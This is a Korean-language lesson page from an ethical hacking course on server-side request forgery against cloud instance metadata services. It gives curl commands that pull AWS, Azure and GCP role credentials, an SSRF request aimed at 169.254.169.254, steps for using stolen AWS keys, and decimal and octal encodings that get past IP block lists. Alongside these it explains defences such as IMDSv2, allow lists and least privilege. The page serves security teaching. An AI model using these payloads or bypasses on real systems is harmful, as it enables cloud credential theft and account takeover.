Ethical Hacking Academy · 강의

메타데이터와 SSRF

클라우드 특화 공격

레슨 4/413개 단계

메타데이터와 SSRF은(는) CoddyKit의 무료 Ethical Hacking Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Ethical Hacking Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

인스턴스 메타데이터 서비스

모든 클라우드 VM은 특수한 내부 엔드포인트에 질의하여 자신에 관한 정보를 확인할 수 있습니다. 이 엔드포인트가 바로 인스턴스 메타데이터 서비스(IMDS)입니다. 중요한 점은 이 서비스가 인스턴스에 연결된 역할의 임시 자격 증명도 제공할 수 있다는 것입니다.

  • AWS / GCP / Azure는 모두 169.254.169.254에서 메타데이터를 제공합니다
  • 인스턴스 내부에서만 접근할 수 있습니다
  • 로컬 프로세스의 인증이 필요하지 않습니다

이러한 편리한 기능은 SSRF와 결합되면 무기가 됩니다.

AWS 메타데이터 읽기(IMDSv1)

이전 버전인 IMDSv1에서는 한 번의 GET 요청으로 역할 자격 증명을 포함한 메타데이터를 반환합니다. 토큰도 필요하지 않습니다.

앱에 SSRF가 있을 때 IMDSv1이 위험한 이유가 바로 이것입니다.

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

SSRF란 무엇인가

서버 측 요청 위조(SSRF)는 공격자가 서버를 속여 자신을 대신해 HTTP 요청을 보내게 만드는 취약점입니다. 서버가 공격자가 직접 접근할 수 없는 장소로 들어가는 프록시가 되는 것입니다.

  • 서버가 가져오는 URL 매개변수
  • 웹훅, PDF 생성기 또는 이미지 크기 조정 기능
  • 사용자가 제공한 URL을 받는 모든 기능

클라우드에서 SSRF의 대표적인 표적은 메타데이터 엔드포인트입니다.

SSRF와 메타데이터의 결합

치명적인 조합은 다음과 같습니다. SSRF가 있는 앱을 이용하면 공격자가 서버에 169.254.169.254를 요청하도록 만들 수 있습니다. 그러면 서버가 인스턴스의 IAM 자격 증명을 가져와 공격자에게 반환합니다.

이제 공격자는 클라우드 자격 증명을 보유하게 되며, 이는 흔히 전체 계정 탈취의 시작점이 됩니다.

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

탈취한 자격 증명 사용

메타데이터 응답에는 액세스 키, 비밀 키, 세션 토큰이 포함됩니다. 공격자는 이를 내보내고 즉시 인스턴스 역할로 행동합니다.

그다음에는 권한을 열거하고 권한 상승 경로를 찾습니다.

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

방어 수단으로서의 IMDSv2

AWS는 SSRF의 위력을 약화하기 위해 IMDSv2를 도입했습니다. 먼저 HTTP PUT 요청으로 세션 토큰을 받아야 하는데, 대부분의 SSRF 기법은 GET만 수행할 수 있으므로 이 요청을 수행하지 못합니다.

IMDSv2를 강제하고 홉 제한을 낮게 설정하면 SSRF를 통한 메타데이터 탈취를 크게 줄일 수 있습니다.

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

Azure 및 GCP 메타데이터

다른 제공업체도 각각 고유한 특징을 가진 메타데이터를 제공합니다. 두 서비스 모두 특수 헤더를 요구하며, 이것 자체가 작은 SSRF 완화책이 됩니다.

  • Azure는 Metadata: true를 요구합니다
  • GCP는 Metadata-Flavor: Google을 요구합니다
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

SSRF 우회 기법

방어자는 흔히 169.254.169.254를 차단 목록에 등록합니다. 공격자는 다른 IP 인코딩과 리디렉션을 사용해 단순한 필터를 우회합니다.

  • 10진수 IP: 2852039166
  • 같은 주소를 8진수 또는 16진수로 인코딩
  • 메타데이터 IP로 해석되는 이름으로 DNS 재바인딩
  • 요청을 메타데이터 URL로 전달하는 공개 리디렉션

강력한 방어를 위해서는 원본 문자열이 아니라 해석된 IP를 검증해야 합니다.

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

기타 SSRF 표적

메타데이터가 가장 주목받는 표적이지만, SSRF는 더 많은 내부 리소스에 도달할 수 있습니다.

  • localhost에 바인딩된 내부 관리자 패널 및 대시보드
  • 내부 데이터베이스 및 캐시(Redis, Elasticsearch)
  • Kubernetes API 서버 및 kubelet 엔드포인트
  • 외부에 노출되지 않은 기타 마이크로서비스

SSRF는 신뢰받는 위치에서 네트워크 경계를 사실상 뚫습니다.

공격 연쇄 방어

SSRF에서 메타데이터로 이어지는 연쇄를 끊으려면 여러 계층의 방어가 필요합니다.

  • IMDSv2를 강제하고 메타데이터 홉 제한을 1로 설정합니다
  • 가져오기 기능에서 외부 URL을 검증하고 허용 목록을 적용합니다
  • DNS 해석 후 링크 로컬 및 사설 IP 범위로 향하는 요청을 차단합니다
  • 인스턴스 역할에 최소 권한을 적용하여 탈취한 자격 증명의 권한을 제한합니다

최소 권한 역할을 사용하면 탈취에 성공하더라도 피해를 최소화할 수 있습니다.

권한이 있는 대상만 테스트하기

SSRF 테스트는 설계상 민감한 내부 시스템에 도달할 수 있습니다. 다음 원칙을 지키십시오.

  • 대상 호스트와 클라우드 계정이 범위에 포함되는지 확인합니다
  • 참여 범위 밖의 시스템으로 이동하지 않습니다
  • 자격 증명에 접근할 수 있음을 입증하면 중지하고 보고합니다

메타데이터에 도달하는 것은 영향이 큽니다. 신중하게 입증하고, 탈취한 키를 마구 사용하지 마십시오.

빠른 확인

IMDSv2를 강제하면 SSRF 기반 자격 증명 탈취를 방어하는 데 도움이 되는 이유는 무엇인가요?

복습: 메타데이터와 SSRF

클라우드에 특화된 가장 영향력 있는 공격 연쇄를 배웠습니다.

  • 169.254.169.254의 메타데이터 서비스는 인스턴스 역할 자격 증명을 제공합니다
  • SSRF를 이용하면 공격자가 서버에서 해당 엔드포인트를 가져오게 할 수 있습니다
  • 탈취한 임시 자격 증명으로 계정을 탈취할 수 있습니다
  • IMDSv2는 PUT 기반 토큰을 요구하여 대부분의 SSRF를 차단합니다
  • URL 허용 목록, IP 검증, 최소 권한 역할로 방어합니다

이로써 클라우드 침투 테스트를 마칩니다. 다음 과정은 버그 바운티 헌팅입니다.

무료로 시작

AI 튜터와 함께 Ethical Hacking Academy을(를) 배우세요 — 무료

브라우저에서 실제 코드를 작성하고 실행하며, 24/7 AI 튜터로부터 즉각적인 도움을 받고, 웹이나 앱에서 중단한 부분부터 계속 학습하세요.

코스
31
레슨
111

자주 묻는 질문

“메타데이터와 SSRF” 강의는 무료인가요?

네 — “메타데이터와 SSRF” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Ethical Hacking Academy 강의 전체를 잠금 해제할 수 있습니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“메타데이터와 SSRF”에서 뭘 배우나요?

클라우드 특화 공격 브라우저에서 직접 실행하는 실습 코드로 Ethical Hacking Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Ethical Hacking Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Ethical Hacking Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“메타데이터와 SSRF” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Ethical Hacking Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Ethical Hacking Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. 클라우드 공격 표면
  2. IAM 잘못된 설정
  3. S3와 스토리지 노출
  4. 메타데이터와 SSRF
← Ethical Hacking Academy(으)로 돌아가기